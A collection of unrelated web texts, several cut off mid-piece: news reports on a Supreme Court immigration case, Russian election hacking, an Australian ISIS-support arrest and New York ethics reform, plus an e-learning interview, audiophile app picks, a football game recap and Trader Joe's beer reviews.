is of value. The era of memorizing information is over. That’s too bad. I’ve passed lots of tests by retaining information, but I think it’s closer to what I experienced in engineering school where information didn’t help you a lot. It was frequently open-book. It was the problem that you had to solve that helped you.  Clark Quinn: That’s great. I love open-book. I think you’re spot on, Sanjay, in that area. The ability to recite rote information is not going to help organizations succeed. The ability to make better decisions, the right ones at the right time, is what’s going to make a difference, and that’s going to come from this deeper e-learning design. That’s what I’m trying to raise awareness of and help organizations do, so we can start lifting our businesses, our earnings, reputation and success.  Sanjay Nasta: Clark, we should probably wrap up, but as usual, we talked for a bit of time. Every time we get together, we get evangelical about this. I really appreciate your time. Anything you’d like to add to close this conversation?  Clark Quinn: Not really. Stuff before it appears in books and then in white papers and in presentations shows up on my blog, Quinnovation.com. I encourage your audience to go there and have a look if they need help sleeping at night, and thank you. The only other thing I wanted to say, Sanjay, is I appreciate the opportunities you’ve provided to help try and raise the industry. I appreciate your investment of time and effort, and here’s to better learning.  Share this: Facebook  LinkedIn  Twitter  Google  Email  More  Reddit  Tumblr  Pinterest  Pocket
-An unidentified man, who plead guilty to statutory rape of a 14-year-old girl in 2009 and got her pregnant, is now filing for visitation rights to see the toddler produced by the rape.  The man was sentenced to 16 years probation in 2011, reports the Daily Mail. Part of the probation required that he pay child support, however, that also entitles him to seek visitation rights.  The man met the 14-year-old girl at church and, later, had sex with her and got the teen pregnant. However, she was too young to legally consent to sex, reports Fox 25.  The victim’s mom told Fox 25: "She decided to keep her baby. And now she has to hand her baby over for a visit with her rapist?"  The teen's attorney Wendy Murphy told the NY Daily News that she asked the court to require the rapist pay restitution instead of child support, which would deny him access to the toddler.  ADVERTISEMENT Thanks for watching! Visit Website  Murphy also asked that the man be banned from seeing the child and mother: "This family has been very clear from the beginning that they want nothing to do with this guy. What legal system requires a toddler to have a relationship with the man who raped her mother?"  undefined
-Following on from our “not-review” of five free Android apps for audiophiles Hifi Pig has put together another selection of free Android apps that audiophiles may find useful and fun.  PlatterSpeed – Vinyl Tool  This little app does what it says on the tin…it helps you calibrate the speed of your turntable to 33 1/3 or 45 RPM using a 3150 Hz test tone….of course you’ll need a record with this tone on there and the company recommend a specific one to use.  Not used this app, but again it looks fun and will satisfy the tweakers and measurement fanatics out there in audiophileland.  Seismograph  Max at Townshend Audio really ought to take the credit for bringing this app to our attention and it certainly makes for an interesting demonstration of his isolation products. Basically you place this on your speaker, or any other bit of kit, walk around the room and watch the seismograph go crazy as your feet hit the ground. The more isolated from the ground your kit, the less the seismograph will jump around.  If you are looking at isolating your equipment efficiently then this is a useful little free app will help you find out if you have been successful or not.  Audiophile Test (Hearing Test)  The general purpose of this little app is to tell you if you can hear the difference between low and high quality MP3 files. Good fun… many will not want to share the results I fear. Relies on you having good quality headphones already I would suggest…and perhaps an out-board DAC….and headphone amp.  Box Tune Calculator  Another free app for making speaker enclosures aimed at the audiophile DIY market and the car audio. It’s a pretty comprehensive toolkit of an app to be fair including a nvented box calculator, Wedge box calculator, Box volume calculator, Port size calculator and an ohm calculator so you can work out the overall impedence of your speakers based on how you wire them and the individual impedences of the drivers you use.  There are wiring diagrams and a cut sheet to help you put your project together. I’m certainly no DIYer to I’ve not used this one but it looks intuitive enough and should be a useful one for folk to have in their arsenal.  Perfectone  Perfectone is a nice little free Android app that aims to get your speakers in the right position for your room. The bumph on Google Store says “Using a revolutionary new algorithm to calculate Reverberation Time, PERFECTONE determines the best place to put stereo speakers in YOUR room”.  To use it you turn down the volume on your device, press the button and a graph is displayed. You then add your room dimensions and are told where your speakers will be best placed. Far more easy to use than the screen grab would initially suggest.  It’s an easy to use app and the science does seem to be solid enough with it. However, I would only ever use something like this as a rough-guide and then fine tune by ear.
-Chad Hansen: Taoism and the Tao Te Ching  Originally from Utah, Chad Hansen studied Western philosophy and entered the PhD program at the University of Michigan. He then taught at the universities of Pittsburgh, Stanford, and Vermont and went on to hold several visiting professorships in Hawaii and at U.C.L.A. before settling in Hong Kong as a professor of philosophy at the University of Hong Kong in 1993.  In this exclusive interview for Life Arts Media Professor Hansen shares his knowledge and insights about Taoist philosophy and his new translation of the Tao Te Ching.  Although written more than 2,500 years ago and within a radically different culture, the Tao Te Ching’s concepts and teachings have become more influential in the West than ever before.  Laozi, the Chinese sage and founder of Taoism, sets out a path (tao) that allows us to tune in to the nature of the universe. His axioms are intended to help us achieve transcendence and a life of integrity and balance: they explore the importance of male and female complementary qualities while praising self-knowledge and criticizing rational understanding. Among his insights are the beliefs that flexibility and suppleness are superior to rigidity and strength, and that self-absorption and self-importance are vain and destructive.  Comments  comments  Category: Consciousness, Film Library, Video Interviews
-Split high court now holds fate of Obama immigration actions  WASHINGTON — Conservative Supreme Court justices expressed sharp skepticism about President Barack Obama's immigration efforts Monday, leaving his actions to help millions of people who are in the country illegally in the hands of a seemingly divided court.  As hundreds of pro-immigration demonstrators and a smaller number of opponents filled the sidewalk outside the court, the justices appeared to split along ideological and partisan lines over a case that pits Republican governors and members of Congress against the Democratic administration.  President Barack Obama's administration is asking the justices to allow it to put in place two programs that could shield roughly 4 million people from deportation and make them eligible to work in the United States.  Texas is leading 26 states led by Republicans in challenging the programs that Obama announced in 2014 and that have been put on hold by lower courts. Those states say the administration usurped power that belongs to Congress, and Justice Anthony Kennedy indicated some support for that view.  "It's as if ... the president is setting the policy and the Congress is executing it. That's just upside down," Kennedy said.  Chief Justice John Roberts also aggressively questioned Solicitor General Donald Verrilli Jr., suggesting there are few limits to the president's power under the administration's view of immigration law.  "Under your argument, could the president grant deferred removal to every ... unlawfully present alien in the United States right now?" Roberts asked.  "Definitely not," Verrilli said. But it was not clear Roberts was satisfied with the answer and subsequent explanation.  The programs would apply to parents of children who are citizens or are living in the country legally. Eligibility also would be expanded for the president's 2012 effort that applies to people who were brought here illegally as children. More than 700,000 people have taken advantage of that earlier program, Deferred Action for Childhood Arrivals. The new program for parents, known as Deferred Action for Parents of Americans, and the expanded program for children could reach as many as 4 million people, according to the nonpartisan Migration Policy Institute.  If the court is split ideologically, the case could end in a 4-4 tie following Justice Antonin Scalia's death in February. That would leave the programs in limbo, almost certainly through the end of Obama's presidency.  Both sides acknowledge that the outcome of the presidential election ultimately could determine the programs' fates, even if the Supreme Court rules for the administration. Republican candidates have pledged to roll back Obama's actions, and Republican candidate Donald Trump has proposed deporting the roughly 11 million people who are living in the U.S. illegally.  Several justices remarked how Congress provides enough money to deport only about 400,000 people annually.  The bulk of immigrants who live in the U.S. illegally "are here whether we want them or not," Justice Sonia Sotomayor said.  The high court is expected to decide by late June whether the efforts can move forward in the waning months of Obama's presidency.  Roberts and his colleagues might have an incentive to avoid a tie vote that would not set a nationwide precedent and also point to the short-handed court's difficulty in getting its work done. If that's the case, the fate of the programs could hang on a two-word phrase the administration used to describe the status of immigrants under the programs— lawful presence. Texas and congressional Republicans who back the state say the phrase is important because it gives the immigrants more rights than federal law allows.  Verrilli told the justices that they could get rid of the phrase and essentially leave the programs unchanged. "If the court thinks it's a problem and wants to put a red pencil through it, it's totally fine," he said.  Roberts sounded interested in that idea, asking lawyer Erin Murphy if the court could, in fact, just "cross out the phrase."  Murphy, representing House Republicans, said it wasn't that simple.  In fact, it was not clear from the arguments whether such an outcome would affect immigrants' ability to work or receive other benefits, including Social Security.  One way for the court to avoid dipping into the complex details of immigration law would be to adopt the administration's argument that Texas has no right to challenge the programs in federal court.  But Roberts did not seem interested in that idea, noting that a ruling on the technical issue of standing would put Texas in a "Catch-22."  Republican governors and members of Congress have argued that Obama doesn't have the power to effectively change immigration law. When he announced the measures 17 months ago, Obama said he was acting under his own authority because Congress had failed to overhaul the immigration system. The Senate had passed legislation on a bipartisan vote, but House Republicans refused to put the matter to a vote.  The administration and immigration advocates say Obama's orders are neither unprecedented nor even unusual. Rather, they say, the programs build on past efforts by Democratic and Republican administrations to use discretion in deciding whom to deport.  The protection from deportation is "discretionary, temporary and revocable relief from the daily fear that they will be separated from their families," Thomas Saenz, arguing on behalf of three mothers of U.S. citizen children, told the court.
-A former Central Intelligence Agency (CIA) operative has spoken out about the complex dangers of declassifying secret information detailing how Russian state-sponsored hackers allegedly helped to influence the outcome of the 2016 US presidential election.  Steven L Hall, a 30-year veteran of the clandestine agency, who retired in 2015, warned it would be "complicated" for US intelligence to publicly disclose any evidence without also exposing its human sources, their secrets and expensive methods of intelligence gathering.  "Facts may help resolve the matter, but in revealing the facts, the government may also reveal how we got them," he wrote in The Washington Post. "Worse — and I do not exaggerate — if it were human sources that provided the information, they could lose their lives."  Previously, in October, a joint statement from the Department of Homeland Security (DHS) and the Director of National Intelligence (DNI) asserted that "senior" officials in Russia likely sanctioned hacks at the Democratic National Committee (DNC) and other key political entities.  Later, the CIA and the FBI claimed to have real evidence linking the cyberattacks – and subsequent leaks – to hackers working for Russia. As president Obama launched a probe into the case, intel officials touted the main aim of the Kremlin was to help elect Donald Trump.  Now, many are now calling for this evidence to be released. Recently, journalist Jason Leopold filed a lawsuit to try and obtain this information. Meanwhile, Sen. Lindsey Graham – while urging sanctions – claimed the majority of US senators believed Russia was responsible for the hacks.  For his part, Hall argued strongly that to reveal such facts could result in disaster. "The intelligence we have collected would probably help in providing a better understanding," he wrote. "But revealing anything could quickly become a problem. If one piece of intelligence is revealed, one political side or the other will almost certainly feel the information favours their adversaries.  "They will demand additional information. Worse, questions like, 'How exactly did you get that information?' or 'Where did that come from?' and 'When precisely did you know that?' will inevitably be asked — and the protection of sources and methods will begin to erode."  'A slippery slope'  Branding the call for evidence as a "slippery slope", the former spy said the CIA's ability to collect intelligence in the future could be at risk should too much information about its work be made public.  "We may simply be forced to make a Solomonic choice, trying to split the baby down the middle by releasing some of the intelligence but not so much as to compromise current and future collection," he wrote.  "This path will be unlikely to please either intelligence officers arguing for source protection or those outside the intelligence community clamouring for a more complete release of information. Of course, it is not the Russians to blame for this last problem, but rather our own fractured political system."  In response, journalist Glenn Greenwald, close confidant of NSA whistleblower Edward Snowden, indicated Hall was working with an ulterior motive in mind. "Ex-CIA operative lays the groundwork for keeping purported evidence of Russia hack hidden from public," he said on Twitter.  Echoing the sentiment, Thomas Drake, another former NSA whistleblower, tweeted: "In other words there is no proof? Defending Oz mirage [and] magic intel. In public interest, either show it or shut it."  On the same day as Hall's op-ed was published, it emerged that the Obama administration is close to finalising how it will respond to the state-backed hacks. Citing unnamed intelligence officials, the Washington Post said this may include "covert action."
-A rural NSW electrician faces life in jail for allegedly using his technical skills to help Islamic State develop "high-tech weapons capability", including the ability to detect coalition guided missiles in Syria and Iraq.  Haisem Zahab, 42, was arrested at his house in Young in southern NSW on Tuesday and charged with two counts of foreign incursion and recruitment which carry a maximum penalty of life imprisonment.  The charge relates to anyone who "engages in a hostile activity in a foreign country".  Australian Federal Police Commissioner Andrew Colvin said Zahab's research was sophisticated and credible and officers were "forensically" searching the property for further evidence.  A man was arrested on Tuesday after more than 20 Australian Federal Police officers swarmed a Young property. ()  "We will leave no stone unturned in what we're looking for," Mr Colvin said.  Zahab, an Australian-born citizen, did not apply for bail when he appeared in Young Local Court on Tuesday and it was formally refused.  He's next due to appear in Parramatta Local Court on March 8.  Prime Minister Malcolm Turnbull said the arrest did not relate to any planned domestic attack and there was no threat to the community.  Tuesday's arrest was the result of an 18-month police investigation. ()  "Police will allege that this individual, in a regional centre, acted with intent to provide ISIL with ... the technical capability, and high-tech capability, to detect and develop missiles," Mr Turnbull told reporters in Canberra.  "This highlights that terrorism, support for terrorist groups, and Islamist extremism is not limited to our major cities."  Justice Minister Michael Keenan said the arrest was the result of an 18-month investigation.  Mr Colvin said Zahab allegedly researched and designed a laser warning device to help warn against incoming guided munitions used by coalition forces in Syria and Iraq.  "Secondly, we will also allege that he has been researching, designing and modelling systems to assist ISIL's efforts to develop their own long-range guided missile capabilities," Mr Colvin said.  Zahab is alleged to have networks and contacts in the Islamic State group, although Mr Colvin said he acted alone and had never been to Syria or Iraq.  Mr Colvin said those contacts were not necessarily in conflict zones "but in other parts of the world as well and he has been relying on them to pass this information".  Mr Colvin said Zahab is believed to have been in Young "for a while" and was arrested in front of his family, including children, at a house in the rural town which is known as the cherry capital of Australia.  The community is reeling from the arrest.  "It's a shock, for sure," former mayor Stuart Freudenstein told AAP.  Mr Freudenstein said there was not been a burgeoning Muslim community in the region, despite some media reports.  "I'm not aware of the numbers increasing that much. There are a few that are sprinkled throughout the community," he said.  However, an Islamic school for Kindergarten to Year 8 students is expected to open in the area this year to cater for the local Muslim population.  © AAP 2019
-Schiff, Trott Introduce Bipartisan Resolution to Recognize Armenian Genocide  Washington D.C. – Today, U.S. Representatives Adam Schiff (CA-28) and Dave Trott (MI-11) introduced legislation to officially recognize the Armenian Genocide of 1915. The Resolution recognizes the genocide against the Armenian people from 1915-1923 by the Ottoman Empire, while drawing links to the modern scourge of genocide, including attacks on religious minorities in Iraq and Syria by ISIS.  "Over 100 years ago, the Ottoman Empire undertook a brutal campaign of murder, rape, and displacement against the Armenian people that took the lives of 1.5 million men, women, and children in the first genocide of the 20th century," said Schiff. "Genocide is not a historic relic - even today hundreds of thousands of religious minorities face existential threat from ISIS in Syria and Iraq. It is therefore all the more pressing that the Congress recognize the historical fact of the Armenian Genocide and stand against modern day genocide and crimes against humanity."  “After over a hundred years, it is long overdue that the United States government stand in solidarity with the Armenian people to officially recognize the genocide waged against their families a century ago,” said Trott. “I am honored to be able to represent such a vibrant Armenian population in Southeast Michigan and I will continue to fight for them in Congress.”  Representatives Adam Schiff and Dave Trott were also joined by the other leaders of the Congressional Caucus on Armenian Issues, Representatives Valadao, Bilirakis, Pallone, and Speier in underscoring their support for the recognition of the Armenian genocide.  ###
-MIAMI GARDENS, Fla. -- Just when you thought the debate over whether stars should play in bowl games had cooled off, Jabrill Peppers suffered a hamstring injury in practice a day before the Orange Bowl and missed the game. Then, just one quarter into that game, the Wolverines found themselves down another top player as tight end Jake Butt suffered a knee injury and did not return.  But for all the talk of the risks, namely injury, associated with potential first-round picks playing in bowl games -- Michigan coach Jim Harbaugh believes Butt suffered an unfortunate MCL or ACL injury -- there has been nary a mention of the upside.  Dalvin Cook was the paradigm of that Friday night in South Florida.  Cook was always going to play in this game. It was a homecoming for him, one last chance to play in front of his family and a faithful Florida State fan base that has long known what many covering college football have been late to recognize: Cook may well be the sport's best running back.  But while D'Onta Foreman broke records at Texas, San Diego State's Donnel Pumphrey smashed FBS marks, Leonard Fournette failed to live up to his 2015 dominance and missed games for LSU, and Christian McCaffrey impressed with his all-purpose ability, Cook continued flashing and grinding for FSU with much less fanfare.  He nearly eclipsed 4,500 career rushing yards on Friday while rumbling for his 19th rushing touchdown for the second year in a row. That doesn't even account for his 900+ career receiving yards, 45 of which came on an incredible deep pass down the sideline early in the first quarter at Hard Rock Stadium.  Cook supplied 40 rushing yards on the first series of the game, a touchdown drive for FSU. His 45-yard catch led to a field goal a few minutes later. He didn't account for much on the Seminoles' next two scoring drives as the Wolverines did a great job bottling him up, but when the game got close late, Cook reappeared -- twice.  With Michigan's coverage improving and quarterback Deondre Francois getting absolutely blown up by the UM defensive front seven, FSU's 11-point lead was suddenly down following an ill-advised throw by Francois near his goal line; linebacker Mike McCray picked it off with ease and brought it 14 yards to the house for a touchdown to cut his team's deficit to five.  Michigan looked poised to get the ball back and have an opportunity to take the lead early in the fourth quarter after Francois was sacked again, this time for a loss of 13, setting up a third-and-22 from the FSU 13.  With the Wolverines covering the pass, Jimbo Fisher decided to give the ball to his best playmaker, hoping Cook could at least give the Seminoles' punter some additional space. Cook had other ideas.  Breaking a couple tackles on his way to the far side of the field, Cook suddenly saw open grass in front of him. He hauled ass to the sideline and took it as far upfield as he could, finally stopping 71 yards later with the raucous Florida State-leaning crowd back on its feet and Michigan fans firmly planted in their seats.  MAMA THERE GOES THAT MAN  4REAL!!!#FSU RB Dalvin Cook @dalvindjc (Miami Central HS) breaks off the long run for 71 yards!!! #FLgridironpic.twitter.com/6wuVeAFdWt — FloridaGridironPreps (@FLgridironpreps) December 31, 2016  There was a furious Michigan comeback to take its first lead of the game. The Wolverines scored back-to-back touchdowns and converted a two-point try to go up three with 2:17 remaining.  And while it was not Cook who took back stutter-step 65-yard kickoff return that gave Florida State renewed life in the final two minutes -- that was wideout Keith Gavin -- it was Cook's 21-yard reception on the first play of the ensuing series that put FSU in the red zone and made at least a tie in regulation a foregone conclusion.  As you well know by now, the Seminoles scored a touchdown a couple plays later and held on for the victory. Cook was named the game's most valuable player with 207 total yards (145 rushing) and his lone score in the 33-32 victory.  "It was the best game of my life, man!" Cook exclaimed on the field while hoisting the trophy. "... It took everything we had."  A bevy of NFL scouts were in attendance Friday night. Personnel directors across the league were surely watching at home on their couches. If the three years of electricity had not piqued their interest, perhaps this game -- and any of Cook's individual plays or the sum of them -- let them know Dalvin Cook is for real.  Perhaps the team that has been salivating over drafting Cook in the middle of the first round has now come to the realization that they're going to need to trade into the top 10 to nab a back with his dynamic ability and unmatched athleticism.  Perhaps Cook, who never considered sitting out his final game, did himself a service that Fournette and McCaffrey -- both of whom dealt with legitimate nagging injuries this season -- did not due to concern over their health and what it would mean for their future.  Cook balled out in front of his family. He once again led Florida State in an incredible victory with the entire nation watching. And for doing so, he got at least one accolade he so richly deserved and likely made himself some money in the process.  On the same night Butt's injury gave us every reason to accept star players skipping their non-College Football Playoff bowl games, Cook's performance proved the possibly tremendous value of playing in them.
-Democratic leaders in New York scored two major progressive policy wins in their recent budget deal with Republicans who control the state senate—a $15 minimum wage by 2021 and 12 weeks of paid family leave for all workers. But a third progressive prize—a sweeping ethics reform package proposed in the wake of recent high-level corruption convictions—never made it into the budget package.  Critics say the budget deal was the legislature’s last, best opportunity to pass comprehensive ethics reforms since last year’s convictions of former Democratic Assembly Leader Sheldon Silver and former Republican Senate Leader Dean Skelos on federal corruption charges of profiting off the power of their public offices. Sentencing is expected Wednesday for Silver and later this month for Skelos.  The short-circuited ethics overhaul took some of the luster off what was otherwise a crowning moment for Governor Andrew Cuomo, a Democrat who is widely believed to have national—even presidential—ambitions, but who is sometimes accused by progressives of skewing too far toward the center. Democratic presidential frontrunner Hillary Clinton stood by Cuomo’s side at the victory rally to celebrate the $15 minimum wage increase.  But in the background, reform advocates wondered whether Cuomo is truly interested in real reform, and whether the legislature will ever support measures that directly impact their personal livelihoods and campaign habits—especially with Republicans in control of the state senate.  Reformers say it’s a case of déjà vu—another reminder that state leaders have a habit of shirking reform, even in the face of massive scandal and corruption. Dick Dadey, executive director of the government watchdog group Citizens Union, had harsh words for Cuomo, State Assembly Speaker Carl Heastie, and Senate Majority Leader John Flanagan.  “It’s a shame and embarrassment to New York that three-and-a-half months after the convictions of these leaders, not one piece of anti-corruption legislation was passed, whether it was tied to budget or not,” Dadey, told The American Prospect. “The budget provided leverage to get a strong package passed. It’s unfathomable that our three political leaders could not find a common ground to address the corruption in New York state.”  Cuomo has privately promised reformers that he will continue to press ethics reform legislation this session, but reform advocates say there’s not much of a window for it to actually pass. And they openly question whether he’s willing to risk his growing national profile to engage in a fight that will require him to utilize a tremendous amount of political capital. Some have even resigned themselves to the conclusion that comprehensive ethics reform won’t stand a chance until after the 2016 elections.  “It’s one thing to put it in and fight for it, which is what he did on $15. It’s another thing to put it in and not fight for it, which is what he did on ethics,” Blair Horner, legislative director for New York Public Interest Research Group, said in an interview. Horner, who briefly worked for Cuomo when the latter was attorney general, has become one of the state’s most outspoken advocates for ethics and campaign-finance reform.  “The whole thing hinges on what the governor does,” says Horner. “If he chooses to make it a priority, there’s a shot.”  Corruption scandals have long plagued Albany, but the legislature’s tainted public image has worsened in recent years. Of the 33 state legislators who have left their seats because of criminal or ethical problems since 1999, more than half have stepped down since Cuomo took office in 2010. In its annual ranking of corruption in the states last year, the nonprofit Center for Public Integrity gave New York a D minus.  Cuomo’s ethics record has also suffered. Critics say the reforms he has introduced in the face of outside pressure and political scandal have been piecemeal. In 2013, he established a 25-person independent commission to investigate corruption in the government. But rather quickly, rumors swirled that Cuomo was compromising the commission’s investigations. Eventually, he shut down the commission altogether. A New York Times investigation later found that Cuomo had undermined the panel’s independence from the start by, as the Times reported, “objecting whenever the commission focused on groups with ties to Mr. Cuomo or on issues that might reflect poorly on him.”  But the arrest and eventual conviction of Silver and Skelos, widely referred to as two of the three “men in the room” who controlled state politics, shocked even the most cynical of New Yorkers and prompted reformers to dub the jarring scandal New York’s “Watergate moment.”  In January of this year, with the convictions of Silver and Skelos still fresh in the public’s mind, Cuomo included a bold set of ethics reforms in his $145 billion state budget proposal. The provisions were lifted straight from the wish list of good-government watchdogs. Cuomo proposed placing strict limits on state legislators’ outside income, stripping convicted legislators of their pensions, and strengthening lobbying disclosure rules.  AP Photo/Mike Groll, File In this February 25, 2016 file photo, New York Governor Andrew Cuomo gets off a recreational vehicle before a rally to raise the minimum wage in Albany, N.Y. New York leaders are once again brushing off questions about ethics reform, despite polls showing overwhelming public dismay at the chronic corruption in New York's Capitol.  He also called for creating a public campaign-financing system and closing the so-called LLC loophole, which allows corporations to secretly funnel huge amounts of money to candidates through limited liability companies. The loophole, which allows a clear path around state contribution limits, has given special interests like the real estate industry an expansive avenue for political influence in Albany.  Several of the proposals took aim at the types of activities that had led to corruption charges against Silver and Skelos, including the lucrative opportunities that legislators enjoy to earn outside income and to receive huge campaign contributions from LLCs.  “These ethics reforms are important. Especially considering the context of the past year,” Cuomo declared in his State of the State speech on January 13. “We have to remember the people we serve, and it’s our responsibility to give them the government that they deserve.”  Reform advocates had publicly applauded Cuomo’s anti-corruption platform, but say privately that they weren’t expecting much from the budget deal—or in the 2016 legislative session for that matter.  “There never was a deal,” Barbara Bartoletti, legislative director for New York’s League of Women Voters, told the Prospect. “The governor has done this before. He puts [ethics reform] in the budget but, as far as I can tell, he never had any intention to make this stick in any way. He went across the state for the minimum wage, but never once mentioned ethics.”  In response to a request for comment from the Prospect, Cuomo’s office pointed to comments he made in mid-March. "‎After the budget, you still have April, May, June, because the session goes until June and my opinion is nobody should leave Albany and end the session unless we at least do the pension forfeiture bill, the LLC loopholes, because I just think that would be inexplicable to the people of this state and the legislators are smart people. They know they go back and they run for election,” Cuomo said.  The ethics reform process itself has drawn allegations of inherent conflicts of interest. Cuomo is the largest recipient of LLC contributions, many of them reportedly from high-dollar real estate donors. Many Republican members of the legislature make large incomes outside public office and, critics say, don’t want to impose limits on their own wealth. Democrats in the Assembly also stand accused of protecting the pensions of legislators who’ve been convicted of corruption, which includes many prominent leaders of their party. It’s not the first time politicians have resisted acting against their own self-interest.  In the roughly three months between the time Cuomo proposed his budget, and when a deal was struck, the governor was already managing expectations about the likelihood of comprehensive ethics reform. In February, he started vocally touting his support for a $15 statewide minimum, but watchdogs say he became much quieter on ethics. However, he publicly maintained that he was still committed to reform.  “I don't know how I could have been any louder on ethics than I was in my State of the State and I don't know how I could have been any stronger in statements I've made since the scandals than I've been,” Cuomo told reporters. “And I don't know how I could have been any more aggressive in my proposals.”  AP Photo/Mary Altaffer Former New York state Assembly Speaker Sheldon Silver, center, leaves court, Tuesday, April 28, 2015, in New York.  But his resistance to pushing his ethics overhaul after his State of the State address sent the reform community a different message. “In previous years the way he's allocated the might of his bully pulpit has been a good barometer for what issues will gain traction and which ones will fall to the wayside,” Jimmy Vielkind presciently wrote for Capital New York.  By mid-March, with two weeks before the budget deadline, Cuomo said ethics most likely wouldn’t be included in a deal and placed the blame on the legislature, where both chambers had proposed budgets without comprehensive ethics reform. The Democratic Assembly was resistant to the idea of pension forfeiture, and the Republican Senate didn’t want to place limits on outside income.  “It’s clear to me that they don’t intend to pass a robust ethics package in the budget,” Cuomo told reporters in March.  The political drama stuck to a script that, to reform advocates, was becoming familiar. “In Albany, this is how the stage gets set for each legislative house to praise itself and to blame the other for the failure, yet again, of meaningful reform, and for Mr. Cuomo to blame them both,” The New York Times editorial board declared.  Reform advocates now say state leaders may have missed their last chance. If Cuomo had truly wanted his proposed ethics reform in the budget, they say, he could have gotten it. In New York, the governor’s strongest political lever each year is the budget deal because in addition to his bully pulpit, the governor controls the purse strings on local aid to schools and hospitals, and major capital improvements on things like transportation and infrastructure.  And Cuomo has never hesitated to pull those strings. Reform advocates point to the state minimum wage as an example. Not too long ago, Cuomo was resistant to raising the state’s wage minimum. However, under mounting pressure from unions and from the national Fight for $15 movement, he reversed course to back a $15 minimum for New York City’s fast-food workers, for state employees, and eventually, for workers throughout the state. Once committed, Cuomo convinced a Republican senate that has long been hostile towards a minimum wage hike to strike a deal in its favor.  “It shows that he does seize opportunities where he can be seen as someone who comes in and takes an issue to victory,” says Dadey, of Citizens Union. “That shows how astute and effective a political player our governor is.”  Dadey and his allies wonder whether Cuomo is merely paying lip service to ethics reform and has no intention of trying to thread the needle to reach a deal with the legislature. But reform advocates acknowledge that the failure of reform does not rest entirely on Cuomo’s shoulders.  AP Photo/Mike Groll, File In this Monday, March 31, 2014, file photo, members of the Assembly debate budget bills at the Capitol in Albany, New York.  “He can’t force the legislature to do something they won’t do—especially with something like ethics, which will have a direct impact on them. In that sense, to say it’s all the governor’s fault is simplistic,” says Lawrence Norden, deputy director of the Brennan Center for Justice at the New York University School of Law. “On the other hand, he has huge power. Certainly, this year he did not fight for it the way a lot of reformers had hoped. This is a political calculation on his part on whether it’s worth fighting for something you may lose.”  The pathway for passing ethics reform before the legislative session ends in June is narrow, but a glimmer of hope remains for ethics advocates.  On the same day as next week’s presidential primary elections in New York, there are also special elections to fill the seats left vacant by Silver in Manhattan and Skelos in Long Island. With the Republican majority in the Senate hanging by one seat, the race to succeed Skelos has become a heated political battle. Democrats tapped Assemblyman Todd Kaminski to run on a campaign built around a pro-reform agenda while Republicans chose an “outsider” unconnected with the tainted Albany political machine. Reformers liken the race to a referendum on state corruption, and say that if Kaminski wins it could provide a new impetus for ethics reform.  Some say Cuomo may use a pending bill to increase legislative pay as a bargaining chip to push ethics reforms. The legislature has been quietly gunning for a raise for years and Cuomo threatened during negotiations in March to withhold a raise if the legislature failed to pass the budget before its deadline. If the raise comes up for consideration this session it’s possible that Cuomo could demand ethics concessions. Still, that would likely result in minor reforms at best.  “The muscle memory of Albany will be to come up with a lot of tiny proposals and then herald that as historic reform,” says Horner of New York PIRG.  If the legislature fails to take up reform this session, proponents will try to make their case on the campaign trail in the lead up to the November elections. With public outrage at corruption boiling over, activist groups are primed to dedicate resources getting pro-reform candidates elected and making anti-corruption legislation a top priority.  One big question is whether Preet Bharara, the U.S. Attorney who charged Silver and Skelos, will announce another string of investigations. Coming off the recent convictions, more federal investigations would create such a spectacle that the legislature would be forced to pass something, says the League of Women Voters’ Bartoletti.  Cuomo has said that ethics reform will be his first priority after the budget. That remains to be seen. His failure to push very hard to include his provisions in the budget deal disillusioned good-government activists, who call into question his willingness to make substantial reform a top priority for his administration.  “Politics in Albany is a very high-stakes poker game with very little hint to what hand you’re holding and what deals you’ll make. This is more true this year than it ever has been,” says Dadey. “This will happen if he wants it to happen. If he fails in getting this done, it will be a huge black mark on his legacy.”
-Last Thursday night, The Alemonger invited me over for a tasting of his recent Craft Beer purchases from Trader Joe’s. We are no strangers to Trader Joe’s at the G-LO residence, and go there every so often to purchase their unique and usually fine quality food offerings, so when the opportunity to try some of their beers came up, I just couldn’t say no. Of the seven different beers in the photo above, we managed to try five.  Since I know very little about the Trader Joe’s Craft Beers, and since there is very little information about their beers on their website, I will skip the usual, “Here is what the brewery has to say about this beer” section and just get on with our reviews.  Here goes…  Beer #1 – Newton’s Folly Authentic Draft Cider  Alemonger says: Tasted as though it came straight from a bottom dollar grocery store generic apple juice container that sat out in the heat for a week or so. One plus: there wasn’t half a worm floating in it  Tasted as though it came straight from a bottom dollar grocery store generic apple juice container that sat out in the heat for a week or so. One plus: there wasn’t half a worm floating in it G-LO says: Overly sweet. Flat. Think Mott’s Apple Juice with a splash of vodka. Hard Cider can be delicious and refreshing. This was neither.  Beer #2 – Josephs Brau Bavarian Style Hefeweizen  Alemonger says: About as faithful to the flavor profile of a German Hef as it is to a Norweigan rabbit. Nothing worked. All of the flavors were off the charts. No head retention either. Simply terrible.  About as faithful to the flavor profile of a German Hef as it is to a Norweigan rabbit. Nothing worked. All of the flavors were off the charts. No head retention either. Simply terrible. G-LO says: Way off balance. That classic German Hefeweizen taste was overblown with cloves. There was so much clove that it tasted like it was added as an afterthought. Lacked the crispness that I long for in a Hefeweizen. Wet cardboard aftertaste.  Beer #3 – Simple Times Pilsner  Alemonger says: Pilsner? Really? Makes Miller’s claim “taste a real Pilsner” seem plausible. Reminded me of what you might pour out of the bottom of an open Fritos bag if it were left out in the rain, i.e. corn juice. And not the high fructose variety either! At least THAT can be really tasty.  Pilsner? Really? Makes Miller’s claim “taste a real Pilsner” seem plausible. Reminded me of what you might pour out of the bottom of an open Fritos bag if it were left out in the rain, i.e. corn juice. And not the high fructose variety either! At least THAT can be really tasty. G-LO says: Bland bland bland. Where is that hint of bitterness and maltiness that I crave from a Pilsner? This one made me long for a Bud/Miller/Coors. At 67 cents a can, I say throw in 8 more cents and buy yourself a can of soda.  Beer #4 – Mission Street India Pale Ale  Alemonger says: Not a top notch IPA by any standards, but far from a weak immitator. They may be once removed from Firestone-Walker, but the “big brothers” don’t let this brewery stray too far from standards brewed at the the Big House. For the price, a respectable value IPA.  Not a top notch IPA by any standards, but far from a weak immitator. They may be once removed from Firestone-Walker, but the “big brothers” don’t let this brewery stray too far from standards brewed at the the Big House. For the price, a respectable value IPA. G-LO says: Finally! A drinkable and downright enjoyable beer! Firestone Walker makes this for them. Their Union Jack and Double Jack IPAs are fantastic. This isn’t that, but it’s still quite good.  Beer #5 – Boatswain American IPA  Alemonger says: Thank god I found a really cheap fuel to fill my grill lighters because I’m sure that’s what these guys really meant the liquid in the bottles to do. Easily the worst “IPA” I’ve ever had. Felt bad even subjecting the drain to it.  Thank god I found a really cheap fuel to fill my grill lighters because I’m sure that’s what 